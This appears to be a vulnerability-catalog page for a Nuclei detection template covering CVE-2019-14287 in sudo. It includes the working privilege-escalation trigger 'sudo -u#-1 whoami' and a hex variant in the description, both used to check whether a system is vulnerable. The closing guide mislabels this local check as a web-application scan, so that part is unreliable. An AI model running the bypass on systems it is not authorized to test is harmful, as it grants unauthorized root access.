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Sudo <= 1.8.27 - Security Bypass

ID: CVE-2019-14287

Severity: high

Author: daffainfo

Tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project

Description

Section titled “Description”

In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a “sudo -u \#$((0xffffffff))” command.

YAML Source

Section titled “YAML Source”
id: CVE-2019-14287


info:
  name: Sudo <= 1.8.27 - Security Bypass
  author: daffainfo
  severity: high
  description: |
    In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287
    - https://www.exploit-db.com/exploits/47502
    - http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00042.html
    - http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00047.html
    - http://packetstormsecurity.com/files/154853/Slackware-Security-Advisory-sudo-Updates.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
    epss-score: 0.30814
    epss-percentile: 0.96854
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sudo_project
    product: sudo
  tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project


self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami


  - engine:
      - sh
      - bash
    source: |
      sudo -u#-1 whoami


    matchers:
      - type: dsl
        dsl:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
# digest: 490a00463044022100b66bc431046c222bdbdf17c5c6b5c9743d91f902f877967c4434d46ff44bf79c021f498f3f2a5efedc922b9a142b06d7578ca7f5c9413b964c46a676b14d2f4dfa:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "code/cves/2019/CVE-2019-14287.yaml"

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